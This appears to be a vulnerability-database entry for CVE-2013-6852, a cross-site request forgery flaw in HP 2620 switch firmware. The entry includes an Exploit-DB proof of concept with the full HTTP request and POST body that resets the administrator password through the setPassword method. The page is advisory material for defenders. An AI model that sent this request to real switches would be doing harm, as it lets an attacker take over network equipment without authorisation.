CVE-2013-6852

medium

Published 2013-11-22 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Cross-site request forgery (CSRF) vulnerability in html/json.html on HP 2620 switches allows remote attackers to hijack the authentication of administrators for requests that change an administrative password via the setPassword method.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-28562 webapps hardware text · 1 KB

Hubert Gradek · 2013-09-26

Hewlett-Packard (HP) 2620 Switch Series. Edit Admin Account - Cross-Site Request Forgery

text exploit Source: Exploit-DB

# Exploit Title: Hewlett-Packard 2620 Switch Series. Edit Admin Account - CSRF Vulnerability
# Date: 26.09.2013r.
# Exploit Author: Hubert GrÄ…dek (PL)
# Software Link: [download link if available]
# Tested on: HP-E2620 24-PoEP //  RA.15.05.0006,ROMRA.15.10

HTTP Headers:

http://[IP_ADDR]/html/json.html

Host: [IP_ADDR]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://[IP_ADDR]/html/nhome.html
Cookie: sessionId=ANYTHING
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache





POST Content:


method:setPassword&name=admin&password=newpassword&ext-comp-1171=newpassword&access=Manager

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.